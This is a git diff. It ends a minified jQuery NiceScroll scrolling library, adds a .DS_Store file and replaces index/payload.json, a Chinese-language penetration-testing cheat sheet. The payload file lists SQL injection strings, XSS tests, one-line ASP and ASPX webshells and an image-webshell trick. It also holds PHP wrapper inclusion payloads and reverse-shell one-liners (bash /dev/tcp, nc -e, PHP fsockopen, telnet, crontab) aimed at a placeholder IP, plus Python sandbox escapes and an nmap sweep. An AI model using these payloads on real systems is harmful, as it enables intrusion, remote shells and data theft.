true}S.forcescreen=true;if(S.isiframe){S.iframe={"doc":g(aB),"html":S.doc.contents().find("html")[0],"body":S.doc.contents().find("body")[0]};S.getContentSize=function(){return{w:Math.max(S.iframe.html.scrollWidth,S.iframe.body.scrollWidth),h:Math.max(S.iframe.html.scrollHeight,S.iframe.body.scrollHeight)}};S.docscroll=g(S.iframe.body)}if(!M.isios&&D.iframeautoresize&&!S.isiframe){S.win.scrollTop(0);S.doc.height("");var az=Math.max(aB.getElementsByTagName("html")[0].scrollHeight,aB.body.scrollHeight);S.doc.height(az)}S.lazyResize(30);S.css(g(S.iframe.body),ai);if(M.isios&&S.haswrapper){S.css(g(aB.body),{"-webkit-transform":"translate3d(0,0,0)"})}if("contentWindow" in this){S.bind(this.contentWindow,"scroll",S.onscroll)}else{S.bind(aB,"scroll",S.onscroll)}if(D.enablemousewheel){S.mousewheel(aB,S.onmousewheel)}if(D.enablekeyboard){S.bind(aB,(M.isopera)?"keypress":"keydown",S.onkeypress)}if(M.cantouch){S.bind(aB,"touchstart",S.ontouchstart);S.bind(aB,"touchmove",S.ontouchmove)}else{if(D.emulatetouch){S.bind(aB,"mousedown",S.ontouchstart);S.bind(aB,"mousemove",function(aC){return S.ontouchmove(aC,true)});if(D.grabcursorenabled&&M.cursorgrabvalue){S.css(g(aB.body),{"cursor":M.cursorgrabvalue})}}}S.bind(aB,"mouseup",S.ontouchend);if(S.zoom){if(D.dblclickzoom){S.bind(aB,"dblclick",S.doZoom)}if(S.ongesturezoom){S.bind(aB,"gestureend",S.ongesturezoom)}}};if(this.doc[0].readyState&&this.doc[0].readyState==="complete"){setTimeout(function(){an.call(S.doc[0],false)},500)}S.bind(this.doc,"load",an)}};this.showCursor=function(ad,ae){if(S.cursortimeout){clearTimeout(S.cursortimeout);S.cursortimeout=0}if(!S.rail){return}if(S.autohidedom){S.autohidedom.stop().css({opacity:D.cursoropacitymax});S.cursoractive=true}if(!S.rail.drag||S.rail.drag.pt!=1){if(ad!==undefined&&ad!==false){S.scroll.y=(ad/S.scrollratio.y)|0}if(ae!==undefined){S.scroll.x=(ae/S.scrollratio.x)|0}}S.cursor.css({height:S.cursorheight,top:S.scroll.y});if(S.cursorh){var af=(S.hasreversehr)?S.scrollvaluemaxw-S.scroll.x:S.scroll.x;S.cursorh.css({width:S.cursorwidth,left:(!S.rail.align&&S.rail.visibility)?af+S.rail.width:af}); +S.cursoractive=true}if(S.zoom){S.zoom.stop().css({opacity:D.cursoropacitymax})}};this.hideCursor=function(ad){if(S.cursortimeout){return}if(!S.rail){return}if(!S.autohidedom){return}if(S.hasmousefocus&&D.autohidemode==="leave"){return}S.cursortimeout=setTimeout(function(){if(!S.rail.active||!S.showonmouseevent){S.autohidedom.stop().animate({opacity:D.cursoropacitymin});if(S.zoom){S.zoom.stop().animate({opacity:D.cursoropacitymin})}S.cursoractive=false}S.cursortimeout=0},ad||D.hidecursordelay)};this.noticeCursor=function(ad,ae,af){S.showCursor(ae,af);if(!S.rail.active){S.hideCursor(ad)}};this.getContentSize=(S.ispage)?function(){return{w:Math.max(c.body.scrollWidth,c.documentElement.scrollWidth),h:Math.max(c.body.scrollHeight,c.documentElement.scrollHeight)}}:(S.haswrapper)?function(){return{w:S.doc[0].offsetWidth,h:S.doc[0].offsetHeight}}:function(){return{w:S.docscroll[0].scrollWidth,h:S.docscroll[0].scrollHeight}};this.onResize=function(ah,aj){if(!S||!S.win){return false}var ae=S.page.maxh,ai=S.page.maxw,ad=S.view.h,ag=S.view.w;S.view={w:(S.ispage)?S.win.width():S.win[0].clientWidth,h:(S.ispage)?S.win.height():S.win[0].clientHeight};S.page=(aj)?aj:S.getContentSize();S.page.maxh=Math.max(0,S.page.h-S.view.h);S.page.maxw=Math.max(0,S.page.w-S.view.w);if((S.page.maxh==ae)&&(S.page.maxw==ai)&&(S.view.w==ag)&&(S.view.h==ad)){if(!S.ispage){var al=S.win.offset();if(S.lastposition){var af=S.lastposition;if((af.top==al.top)&&(af.left==al.left)){return S}}S.lastposition=al}else{return S}}if(S.page.maxh===0){S.hideRail();S.scrollvaluemax=0;S.scroll.y=0;S.scrollratio.y=0;S.cursorheight=0;S.setScrollTop(0);if(S.rail){S.rail.scrollable=false}}else{S.page.maxh-=(D.railpadding.top+D.railpadding.bottom);S.rail.scrollable=true}if(S.page.maxw===0){S.hideRailHr();S.scrollvaluemaxw=0;S.scroll.x=0;S.scrollratio.x=0;S.cursorwidth=0;S.setScrollLeft(0);if(S.railh){S.railh.scrollable=false}}else{S.page.maxw-=(D.railpadding.left+D.railpadding.right);if(S.railh){S.railh.scrollable=(D.horizrailenabled)}}S.railslocked=(S.locked)||((S.page.maxh===0)&&(S.page.maxw===0));if(S.railslocked){if(!S.ispage){S.updateScrollBar(S.view)}return false}if(!S.hidden){if(!S.rail.visibility){S.showRail()}if(S.railh&&!S.railh.visibility){S.showRailHr()}}if(S.istextarea&&S.win.css("resize")&&S.win.css("resize")!="none"){S.view.h-=20}S.cursorheight=Math.min(S.view.h,Math.round(S.view.h*(S.view.h/S.page.h)));S.cursorheight=(D.cursorfixedheight)?D.cursorfixedheight:Math.max(D.cursorminheight,S.cursorheight);S.cursorwidth=Math.min(S.view.w,Math.round(S.view.w*(S.view.w/S.page.w)));S.cursorwidth=(D.cursorfixedheight)?D.cursorfixedheight:Math.max(D.cursorminheight,S.cursorwidth);S.scrollvaluemax=S.view.h-S.cursorheight-(D.railpadding.top+D.railpadding.bottom);if(!S.hasborderbox){S.scrollvaluemax-=S.cursor[0].offsetHeight-S.cursor[0].clientHeight}if(S.railh){S.railh.width=(S.page.maxh>0)?(S.view.w-S.rail.width):S.view.w;S.scrollvaluemaxw=S.railh.width-S.cursorwidth-(D.railpadding.left+D.railpadding.right)}if(!S.ispage){S.updateScrollBar(S.view)}S.scrollratio={x:(S.page.maxw/S.scrollvaluemaxw),y:(S.page.maxh/S.scrollvaluemax)};var ak=S.getScrollTop();if(ak>S.page.maxh){S.doScrollTop(S.page.maxh)}else{S.scroll.y=(S.getScrollTop()/S.scrollratio.y)|0;S.scroll.x=(S.getScrollLeft()/S.scrollratio.x)|0;if(S.cursoractive){S.noticeCursor()}}if(S.scroll.y&&(S.getScrollTop()===0)){S.doScrollTo((S.scroll.y*S.scrollratio.y)|0)}return S};this.resize=S.onResize;var X=0;this.onscreenresize=function(ae){clearTimeout(X);var ad=(!S.ispage&&!S.haswrapper);if(ad){S.hideRails()}X=setTimeout(function(){if(S){if(ad){S.showRails()}S.resize()}X=0},120)};this.lazyResize=function(ad){clearTimeout(X);ad=isNaN(ad)?240:ad;X=setTimeout(function(){S&&S.resize();X=0},ad);return S};function U(ag,ae,af,ad){S._bind(ag,ae,function(ai){ai=ai||n.event;var ah={original:ai,target:ai.target||ai.srcElement,type:"wheel",deltaMode:ai.type=="MozMousePixelScroll"?0:1,deltaX:0,deltaZ:0,preventDefault:function(){ai.preventDefault?ai.preventDefault():ai.returnValue=false;return false},stopImmediatePropagation:function(){(ai.stopImmediatePropagation)?ai.stopImmediatePropagation():ai.cancelBubble=true}};if(ae=="mousewheel"){ai.wheelDeltaX&&(ah.deltaX=-1/40*ai.wheelDeltaX);ai.wheelDeltaY&&(ah.deltaY=-1/40*ai.wheelDeltaY);!ah.deltaY&&!ah.deltaX&&(ah.deltaY=-1/40*ai.wheelDelta)}else{ah.deltaY=ai.detail}return af.call(ag,ah)},ad)}this.jqbind=function(af,ad,ae){S.events.push({e:af,n:ad,f:ae,q:true});g(af).on(ad,ae)};this.mousewheel=function(ah,ag,ad){var af=("jquery" in ah)?ah[0]:ah;if("onwheel" in c.createElement("div")){S._bind(af,"wheel",ag,ad||false)}else{var ae=(c.onmousewheel!==undefined)?"mousewheel":"DOMMouseScroll";U(af,ae,ag,ad||false);if(ae=="DOMMouseScroll"){U(af,"MozMousePixelScroll",ag,ad||false)}}};var H=false;if(M.haseventlistener){try{var E=Object.defineProperty({},"passive",{get:function(){H=!0}});n.addEventListener("test",null,E)}catch(F){}this.stopPropagation=function(ad){if(!ad){return false}ad=(ad.original)?ad.original:ad; +ad.stopPropagation();return false};this.cancelEvent=function(ad){if(ad.cancelable){ad.preventDefault()}ad.stopImmediatePropagation();if(ad.preventManipulation){ad.preventManipulation()}return false}}else{Event.prototype.preventDefault=function(){this.returnValue=false};Event.prototype.stopPropagation=function(){this.cancelBubble=true};n.constructor.prototype.addEventListener=c.constructor.prototype.addEventListener=Element.prototype.addEventListener=function(ae,af,ad){this.attachEvent("on"+ae,af)};n.constructor.prototype.removeEventListener=c.constructor.prototype.removeEventListener=Element.prototype.removeEventListener=function(ae,af,ad){this.detachEvent("on"+ae,af)};this.cancelEvent=function(ad){ad=ad||n.event;if(ad){ad.cancelBubble=true;ad.cancel=true;ad.returnValue=false}return false};this.stopPropagation=function(ad){ad=ad||n.event;if(ad){ad.cancelBubble=true}return false}}this.delegate=function(ah,ae,af,ad,ag){var ai=x[ae]||false;if(!ai){ai={a:[],l:[],f:function(an){var aj=ai.l,al=aj.length-1;var am=false;for(var ak=al;ak>=0;ak--){am=aj[ak].call(an.target,an);if(am===false){return false}}return am}};S.bind(ah,ae,ai.f,ad,ag);x[ae]=ai}if(S.ispage){ai.a=[S.id].concat(ai.a);ai.l=[af].concat(ai.l)}else{ai.a.push(S.id);ai.l.push(af)}};this.undelegate=function(aj,ag,ah,af,ai){var ak=x[ag]||false;if(ak&&ak.l){for(var ae=0,ad=ak.l.length;ae0){return ad}ag=(ag.parentNode)?ag.parentNode:false +}return false};this.triggerScrollStart=function(ad,ai,ah,af,ae){if(S.onscrollstart){var ag={type:"scrollstart",current:{x:ad,y:ai},request:{x:ah,y:af},end:{x:S.newscrollx,y:S.newscrolly},speed:ae};S.onscrollstart.call(S,ag)}};this.triggerScrollEnd=function(){if(S.onscrollend){var ae=S.getScrollLeft();var ad=S.getScrollTop();var af={type:"scrollend",current:{x:ae,y:ad},end:{x:ae,y:ad}};S.onscrollend.call(S,af)}};var N=0,P=0,C=0,V=1;function R(ai,ah,aj,af){if(!S.scrollrunning){S.newscrolly=S.getScrollTop();S.newscrollx=S.getScrollLeft();C=a()}var ag=(a()-C);C=a();if(ag>350){V=1}else{V+=(2-V)/10}ai=ai*V|0;ah=ah*V|0;if(ai){if(af){if(ai<0){if(S.getScrollLeft()>=S.page.maxw){return true}}else{if(S.getScrollLeft()<=0){return true}}}var al=ai>0?1:-1;if(P!==al){if(S.scrollmom){S.scrollmom.stop()}S.newscrollx=S.getScrollLeft();P=al}S.lastdeltax-=ai}if(ah){var ae=(function(){var am=S.getScrollTop();if(ah<0){if(am>=S.page.maxh){return true}}else{if(am<=0){return true}}})();if(ae){if(D.nativeparentscrolling&&aj&&!S.ispage&&!S.zoomactive){return true}var ad=S.view.h>>1;if(S.newscrolly<-ad){S.newscrolly=-ad;ah=-1}else{if(S.newscrolly>S.page.maxh+ad){S.newscrolly=S.page.maxh+ad;ah=1}else{ah=0}}}var ak=ah>0?1:-1;if(N!==ak){if(S.scrollmom){S.scrollmom.stop()}S.newscrolly=S.getScrollTop();N=ak}S.lastdeltay-=ah}if(ah||ai){S.synched("relativexy",function(){var am=S.lastdeltay+S.newscrolly;S.lastdeltay=0;var an=S.lastdeltax+S.newscrollx;S.lastdeltax=0;if(!S.rail.drag){S.doScrollPos(an,am)}})}}var B=false;function Y(aj,ag,ai){var af,ae;if(!ai&&B){return true}if(aj.deltaMode===0){af=-(aj.deltaX*(D.mousescrollstep/(18*3)))|0;ae=-(aj.deltaY*(D.mousescrollstep/(18*3)))|0}else{if(aj.deltaMode===1){af=-(aj.deltaX*D.mousescrollstep*50/80)|0;ae=-(aj.deltaY*D.mousescrollstep*50/80)|0}}if(ag&&D.oneaxismousemode&&(af===0)&&ae){af=ae;ae=0;if(ai){var ah=(af<0)?(S.getScrollLeft()>=S.page.maxw):(S.getScrollLeft()<=0);if(ah){ae=af;af=0}}}if(S.isrtlmode){af=-af}var ad=R(af,ae,ai,true);if(ad){if(ai){B=true}}else{B=false;aj.stopImmediatePropagation();return aj.preventDefault()}}this.onmousewheel=function(ag){if(S.wheelprevented||S.locked){return false}if(S.railslocked){S.debounced("checkunlock",S.resize,250);return false}if(S.rail.drag){return S.cancelEvent(ag)}if(D.oneaxismousemode==="auto"&&ag.deltaX!==0){D.oneaxismousemode=false}if(D.oneaxismousemode&&ag.deltaX===0){if(!S.rail.scrollable){if(S.railh&&S.railh.scrollable){return S.onmousewheelhr(ag)}else{return true}}}var ae=a();var ad=false;if(D.preservenativescrolling&&((S.checkarea+600)S.page.maxw)?S.page.maxw:ae;if(ad<0){ad=0}var ag=(ah>S.page.maxh)?S.page.maxh:ah;if(ag<0){ag=0}S.synched("scroll",function(){S.setScrollTop(ag);S.setScrollLeft(ad)})};this.cancelScroll=function(){}}else{if(S.ishwscroll&&M.hastransition&&D.usetransition&&!!D.smoothscroll){var W="";this.resetTransition=function(){W="";S.doc.css(M.prefixstyle+"transition-duration","0ms")};this.prepareTransition=function(ag,ad){var af=(ad)?ag:S.getTransitionSpeed(ag);var ae=af+"ms";if(W!==ae){W=ae;S.doc.css(M.prefixstyle+"transition-duration",ae)}return af};this.doScrollLeft=function(ad,ae){var af=(S.scrollrunning)?S.newscrolly:S.getScrollTop();S.doScrollPos(ad,af,ae)};this.doScrollTop=function(af,ae){var ad=(S.scrollrunning)?S.newscrollx:S.getScrollLeft();S.doScrollPos(ad,af,ae)};this.cursorupdate={running:false,start:function(){var ad=this;if(ad.running){return}ad.running=true;var ae=function(){if(ad.running){i(ae)}S.showCursor(S.getScrollTop(),S.getScrollLeft());S.notifyScrollEvent(S.win[0])};i(ae)},stop:function(){this.running=false}};this.doScrollPos=function(aj,ag,af){var ai=S.getScrollTop();var ak=S.getScrollLeft();if(((S.newscrolly-ai)*(ag-ai)<0)||((S.newscrollx-ak)*(aj-ak)<0)){S.cancelScroll()}if(!D.bouncescroll){if(ag<0){ag=0}else{if(ag>S.page.maxh){ag=S.page.maxh}}if(aj<0){aj=0}else{if(aj>S.page.maxw){aj=S.page.maxw}}}else{if(ag<0){ag=ag/2|0}else{if(ag>S.page.maxh){ag=S.page.maxh+(ag-S.page.maxh)/2|0 +}}if(aj<0){aj=aj/2|0}else{if(aj>S.page.maxw){aj=S.page.maxw+(aj-S.page.maxw)/2|0}}}if(S.scrollrunning&&aj==S.newscrollx&&ag==S.newscrolly){return false}S.newscrolly=ag;S.newscrollx=aj;var ah=S.getScrollTop();var am=S.getScrollLeft();var ae={};ae.x=aj-am;ae.y=ag-ah;var al=Math.sqrt((ae.x*ae.x)+(ae.y*ae.y))|0;var ad=S.prepareTransition(al);if(!S.scrollrunning){S.scrollrunning=true;S.triggerScrollStart(am,ah,aj,ag,ad);S.cursorupdate.start()}S.scrollendtrapped=true;if(!M.transitionend){if(S.scrollendtrapped){clearTimeout(S.scrollendtrapped)}S.scrollendtrapped=setTimeout(S.onScrollTransitionEnd,ad)}S.setScrollTop(S.newscrolly);S.setScrollLeft(S.newscrollx)};this.cancelScroll=function(){if(!S.scrollendtrapped){return true}var ad=S.getScrollTop();var ae=S.getScrollLeft();S.scrollrunning=false;if(!M.transitionend){clearTimeout(M.transitionend)}S.scrollendtrapped=false;S.resetTransition();S.setScrollTop(ad);if(S.railh){S.setScrollLeft(ae)}if(S.timerscroll&&S.timerscroll.tm){clearInterval(S.timerscroll.tm)}S.timerscroll=false;S.cursorfreezed=false;S.cursorupdate.stop();S.showCursor(ad,ae);return S};this.onScrollTransitionEnd=function(){if(!S.scrollendtrapped){return}var ad=S.getScrollTop();var ae=S.getScrollLeft();if(ad<0){ad=0}else{if(ad>S.page.maxh){ad=S.page.maxh}}if(ae<0){ae=0}else{if(ae>S.page.maxw){ae=S.page.maxw}}if((ad!=S.newscrolly)||(ae!=S.newscrollx)){return S.doScrollPos(ae,ad,D.snapbackspeed)}if(S.scrollrunning){S.triggerScrollEnd()}S.scrollrunning=false;S.scrollendtrapped=false;S.resetTransition();S.timerscroll=false;S.setScrollTop(ad);if(S.railh){S.setScrollLeft(ae)}S.cursorupdate.stop();S.noticeCursor(false,ad,ae);S.cursorfreezed=false}}else{this.doScrollLeft=function(ad,ae){var af=(S.scrollrunning)?S.newscrolly:S.getScrollTop();S.doScrollPos(ad,af,ae)};this.doScrollTop=function(af,ae){var ad=(S.scrollrunning)?S.newscrollx:S.getScrollLeft();S.doScrollPos(ad,af,ae)};this.doScrollPos=function(aj,ah,ag){var ai=S.getScrollTop();var al=S.getScrollLeft();if(((S.newscrolly-ai)*(ah-ai)<0)||((S.newscrollx-al)*(aj-al)<0)){S.cancelScroll()}var ae=false;if(!S.bouncescroll||!S.rail.visibility){if(ah<0){ah=0;ae=true}else{if(ah>S.page.maxh){ah=S.page.maxh;ae=true}}}if(!S.bouncescroll||!S.railh.visibility){if(aj<0){aj=0;ae=true}else{if(aj>S.page.maxw){aj=S.page.maxw;ae=true}}}if(S.scrollrunning&&(S.newscrolly===ah)&&(S.newscrollx===aj)){return true}S.newscrolly=ah;S.newscrollx=aj;S.dst={};S.dst.x=aj-al;S.dst.y=ah-ai;S.dst.px=al;S.dst.py=ai;var am=Math.sqrt((S.dst.x*S.dst.x)+(S.dst.y*S.dst.y))|0;var ad=S.getTransitionSpeed(am);S.bzscroll={};var ak=(ae)?1:0.58;S.bzscroll.x=new G(al,S.newscrollx,ad,0,0,ak,1);S.bzscroll.y=new G(ai,S.newscrolly,ad,0,0,ak,1);var an=a();var af=function(){if(!S.scrollrunning){return}var ao=S.bzscroll.y.getPos();S.setScrollLeft(S.bzscroll.x.getNow());S.setScrollTop(S.bzscroll.y.getNow());if(ao<=1){S.timer=i(af)}else{S.scrollrunning=false;S.timer=0;S.triggerScrollEnd()}};if(!S.scrollrunning){S.triggerScrollStart(al,ai,aj,ah,ad);S.scrollrunning=true;S.timer=i(af)}};this.cancelScroll=function(){if(S.timer){l(S.timer)}S.timer=0;S.bzscroll=false;S.scrollrunning=false;return S}}}this.doScrollBy=function(ad,ae){R(0,ad)};this.doScrollLeftBy=function(ad,ae){R(ad,0)};this.doScrollTo=function(af,ad){var ae=(ad)?Math.round(af*S.scrollratio.y):af;if(ae<0){ae=0}else{if(ae>S.page.maxh){ae=S.page.maxh}}S.cursorfreezed=false;S.doScrollTop(af)};this.checkContentSize=function(){var ad=S.getContentSize();if((ad.h!=S.page.h)||(ad.w!=S.page.w)){S.resize(false,ad)}};S.onscroll=function(ad){if(S.rail.drag){return}if(!S.cursorfreezed){S.synched("scroll",function(){S.scroll.y=Math.round(S.getScrollTop()/S.scrollratio.y);if(S.railh){S.scroll.x=Math.round(S.getScrollLeft()/S.scrollratio.x)}S.noticeCursor()})}};S.bind(S.docscroll,"scroll",S.onscroll);this.doZoomIn=function(ai){if(S.zoomactive){return}S.zoomactive=true;S.zoomrestore={style:{}};var ad=["position","top","left","zIndex","backgroundColor","marginTop","marginBottom","marginLeft","marginRight"];var ah=S.win[0].style;for(var af in ad){var ae=ad[af];S.zoomrestore.style[ae]=(ah[ae]!==undefined)?ah[ae]:""}S.zoomrestore.style.width=S.win.css("width");S.zoomrestore.style.height=S.win.css("height");S.zoomrestore.padding={w:S.win.outerWidth()-S.win.width(),h:S.win.outerHeight()-S.win.height()};if(M.isios4){S.zoomrestore.scrollTop=t.scrollTop();t.scrollTop(0)}S.win.css({position:(M.isios4)?"absolute":"fixed",top:0,left:0,zIndex:f+100,margin:0});var ag=S.win.css("backgroundColor");if(""===ag||/transparent|rgba\(0, 0, 0, 0\)|rgba\(0,0,0,0\)/.test(ag)){S.win.css("backgroundColor","#fff")}S.rail.css({zIndex:f+101});S.zoom.css({zIndex:f+102});S.zoom.css("backgroundPosition","0 -18px");S.resizeZoom();if(S.onzoomin){S.onzoomin.call(S)}return S.cancelEvent(ai)};this.doZoomOut=function(ad){if(!S.zoomactive){return}S.zoomactive=false;S.win.css("margin","");S.win.css(S.zoomrestore.style);if(M.isios4){t.scrollTop(S.zoomrestore.scrollTop)}S.rail.css({"z-index":S.zindex});S.zoom.css({"z-index":S.zindex}); +S.zoomrestore=false;S.zoom.css("backgroundPosition","0 0");S.onResize();if(S.onzoomout){S.onzoomout.call(S)}return S.cancelEvent(ad)};this.doZoom=function(ad){return(S.zoomactive)?S.doZoomOut(ad):S.doZoomIn(ad)};this.resizeZoom=function(){if(!S.zoomactive){return}var ad=S.getScrollTop();S.win.css({width:t.width()-S.zoomrestore.padding.w+"px",height:t.height()-S.zoomrestore.padding.h+"px"});S.onResize();S.setScrollTop(Math.min(S.page.maxh,ad))};this.init();g.nicescroll.push(this)};var v=function(C){var B=this;this.nc=C;this.lastx=0;this.lasty=0;this.speedx=0;this.speedy=0;this.lasttime=0;this.steptime=0;this.snapx=false;this.snapy=false;this.demulx=0;this.demuly=0;this.lastscrollx=-1;this.lastscrolly=-1;this.chkx=0;this.chky=0;this.timer=0;this.reset=function(E,D){B.stop();B.steptime=0;B.lasttime=a();B.speedx=0;B.speedy=0;B.lastx=E;B.lasty=D;B.lastscrollx=-1;B.lastscrolly=-1};this.update=function(I,H){var J=a();B.steptime=J-B.lasttime;B.lasttime=J;var K=H-B.lasty;var L=I-B.lastx;var F=B.nc.getScrollTop();var G=B.nc.getScrollLeft();var D=F+K;var E=G+L;B.snapx=(E<0)||(E>B.nc.page.maxw);B.snapy=(D<0)||(D>B.nc.page.maxh);B.speedx=L;B.speedy=K;B.lastx=I;B.lasty=H};this.stop=function(){B.nc.unsynched("domomentum2d");if(B.timer){clearTimeout(B.timer)}B.timer=0;B.lastscrollx=-1;B.lastscrolly=-1};this.doSnapy=function(E,F){var D=false;if(F<0){F=0;D=true}else{if(F>B.nc.page.maxh){F=B.nc.page.maxh;D=true}}if(E<0){E=0;D=true}else{if(E>B.nc.page.maxw){E=B.nc.page.maxw;D=true}}(D)?B.nc.doScrollPos(E,F,B.nc.opt.snapbackspeed):B.nc.triggerScrollEnd()};this.doMomentum=function(E){var Q=a();var F=(E)?Q+E:B.lasttime;var G=B.nc.getScrollLeft();var R=B.nc.getScrollTop();var M=B.nc.page.maxh;var D=B.nc.page.maxw;B.speedx=(D>0)?Math.min(60,B.speedx):0;B.speedy=(M>0)?Math.min(60,B.speedy):0;var L=F&&(Q-F)<=60;if((R<0)||(R>M)||(G<0)||(G>D)){L=false}var N=(B.speedy&&L)?B.speedy:false;var O=(B.speedx&&L)?B.speedx:false;if(N||O){var P=Math.max(16,B.steptime);if(P>50){var J=P/50;B.speedx*=J;B.speedy*=J;P=50}B.demulxy=0;B.lastscrollx=B.nc.getScrollLeft();B.chkx=B.lastscrollx;B.lastscrolly=B.nc.getScrollTop();B.chky=B.lastscrolly;var I=B.lastscrollx;var H=B.lastscrolly;var K=function(){var S=((a()-Q)>600)?0.04:0.02;if(B.speedx){I=Math.floor(B.lastscrollx-(B.speedx*(1-B.demulxy)));B.lastscrollx=I;if((I<0)||(I>D)){S=0.1}}if(B.speedy){H=Math.floor(B.lastscrolly-(B.speedy*(1-B.demulxy)));B.lastscrolly=H;if((H<0)||(H>M)){S=0.1}}B.demulxy=Math.min(1,B.demulxy+S);B.nc.synched("domomentum2d",function(){if(B.speedx){var U=B.nc.getScrollLeft();B.chkx=I;B.nc.setScrollLeft(I)}if(B.speedy){var T=B.nc.getScrollTop();B.chky=H;B.nc.setScrollTop(H)}if(!B.timer){B.nc.hideCursor();B.doSnapy(I,H)}});if(B.demulxy<1){B.timer=setTimeout(K,P)}else{B.stop();B.nc.hideCursor();B.doSnapy(I,H)}};K()}else{B.doSnapy(B.nc.getScrollLeft(),B.nc.getScrollTop())}}};var p=q.fn.scrollTop;q.cssHooks.pageYOffset={get:function(E,D,B){var C=g.data(E,"__nicescroll")||false;return(C&&C.ishwscroll)?C.getScrollTop():p.call(E)},set:function(C,D){var B=g.data(C,"__nicescroll")||false;(B&&B.ishwscroll)?B.setScrollTop(parseInt(D)):p.call(C,D);return this}};q.fn.scrollTop=function(C){if(C===undefined){var B=(this[0])?g.data(this[0],"__nicescroll")||false:false;return(B&&B.ishwscroll)?B.getScrollTop():p.call(this)}else{return this.each(function(){var D=g.data(this,"__nicescroll")||false;(D&&D.ishwscroll)?D.setScrollTop(parseInt(C)):p.call(g(this),C)})}};var u=q.fn.scrollLeft;g.cssHooks.pageXOffset={get:function(E,D,B){var C=g.data(E,"__nicescroll")||false;return(C&&C.ishwscroll)?C.getScrollLeft():u.call(E)},set:function(C,D){var B=g.data(C,"__nicescroll")||false;(B&&B.ishwscroll)?B.setScrollLeft(parseInt(D)):u.call(C,D);return this}};q.fn.scrollLeft=function(C){if(C===undefined){var B=(this[0])?g.data(this[0],"__nicescroll")||false:false;return(B&&B.ishwscroll)?B.getScrollLeft():u.call(this)}else{return this.each(function(){var D=g.data(this,"__nicescroll")||false;(D&&D.ishwscroll)?D.setScrollLeft(parseInt(C)):u.call(g(this),C)})}};var A=function(E){var C=this;this.length=0;this.name="nicescrollarray";this.each=function(F){g.each(C,F);return C};this.push=function(F){C[C.length]=F;C.length++};this.eq=function(F){return C[F]};if(E){for(var B=0;B1)?g(D,I):E;F.win=I}var H=!("doc" in F);if(!H&&!("win" in F)){F.win=I}var G=I.data("__nicescroll")||false;if(!G){F.doc=F.doc||I;G=new d(F,I);I.data("__nicescroll",G)}B.push(G)});return(B.length===1)?B[0]:B};n.NiceScroll={getjQuery:function(){return q}};if(!g.nicescroll){g.nicescroll=new A();g.nicescroll.options=e}})); \ No newline at end of file diff --git a/docs/.DS_Store b/docs/.DS_Store new file mode 100644 index 00000000..d1c9da1c Binary files /dev/null and b/docs/.DS_Store differ diff --git a/index/payload.json b/index/payload.json index 866afcde..d4c65c29 100644 --- a/index/payload.json +++ b/index/payload.json @@ -1 +1 @@ -[{ "name": "union select 1,user(),3", "type": "sql注入", "path": "", "desc": "联合查询暴显示位" }, { "name": "union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+", "type": "sql注入", "path": "", "desc": "联合查询暴表名" }, { "name": "union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+", "type": "sql注入", "path": "", "desc": "联合查询暴字段名" }, { "name": "union select 1,username,password from `key` --+", "type": "sql注入", "path": "", "desc": "联合查询暴字段值" }, { "name": "admin' or '1'='1", "type": "sql注入", "path": "", "desc": "万能密码" }, { "name": "and length(database())=4 --+", "type": "sql注入", "path": "", "desc": "布尔盲注测试" }, { "name": "or if(ascii(substr(database(),1,1))>0,sleep(1),1) --+", "type": "sql注入", "path": "", "desc": "时间盲注测试" }, { "name": "select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);", "type": "sql注入", "path": "", "desc": "floor报错注入" }, { "name": "select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));", "type": "sql注入", "path": "", "desc": "extractvalue报错注入" }, { "name": "", "type": "XSS", "path": "", "desc": "XSS测试" }, { "name": "", "type": "XSS", "path": "", "desc": "XSS测试" }, { "name": "' onmouseover='alert(/xss/)", "type": "XSS", "path": "", "desc": "XSS测试" }, { "name": "javascript:alert(/xss/)", "type": "XSS", "path": "", "desc": "XSS测试" }, { "name": "", "type": "XSS", "path": "", "desc": "XSS测试" }, { "name": "", "type": "XSS", "path": "", "desc": "XSS测试" }, { "name": "", "type": "webshell", "path": "", "desc": "php一句话" }, { "name": "<%execute(request('pwd'))%>", "type": "webshell", "path": "", "desc": "asp一句话" }, { "name": "<% @Page Language='Jscript'%><%eval(Request.Item['pwd'],'unsafe');%>", "type": "webshell", "path": "", "desc": "aspx一句话" }, { "name": "copy 1.jpg /b + 1.php /b hack.php", "type": "webshell", "path": "", "desc": "生成图马" }, { "name": "php://filter/read=convert.base64-encode/resource=index.php", "type": "文件包含", "path": "", "desc": "php伪协议,以base64编码输出" }, { "name": "php://filter/write=convert.base64-decode/resource=xx.php", "type": "文件包含", "path": "", "desc": "php伪协议,以base64解码写入" }, { "name": "data:text/plain,", "type": "文件包含", "path": "", "desc": "data协议命令执行" }, { "name": "/bin/bash -i >& /dev/tcp/xx.xx.xx.xx/1234 0>&1", "type": "getshell", "path": "", "desc": "bash反弹shell" }, { "name": "nc -e /bin/sh xx.xx.xx.xx 1234", "type": "getshell", "path": "", "desc": "nc反弹shell" }, { "name": "php -r '$sock=fsockopen(\"xx.xx.xx.xx\",1234);exec(\"/bin/sh -i <&3 >&3 2>&3\");'", "type": "getshell", "path": "", "desc": "php反弹shell" }, { "name": "telnet xx.xx.xx.xx 8080 | /bin/bash | telnet xx.xx.xx.xx 9090", "type": "getshell", "path": "", "desc": "telnet反弹shell" }, { "name": "* * * * * /bin/bash -i >& /dev/tcp//1234 0>&1", "type": "getshell", "path": "", "desc": "crontab反弹shell" }, { "name": "python -c 'import pty; pty.spawn(\"/bin/bash\")'", "type": "getshell", "path": "", "desc": "获得伪终端" }, { "name": "''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].system('ls')", "type": "getshell", "path": "", "desc": "python2沙箱逃逸" }, { "name": "''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['system']('ls')", "type": "getshell", "path": "", "desc": "python3沙箱逃逸" }, { "name": "nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 xx.xx.xx.0/24", "type": "其他", "path": "", "desc": "存活主机扫描" }, { "name": "document.body.contentEditable='true';document.designMode='on'", "type": "其他", "path": "", "desc": "开启网页可编辑模式" }] \ No newline at end of file 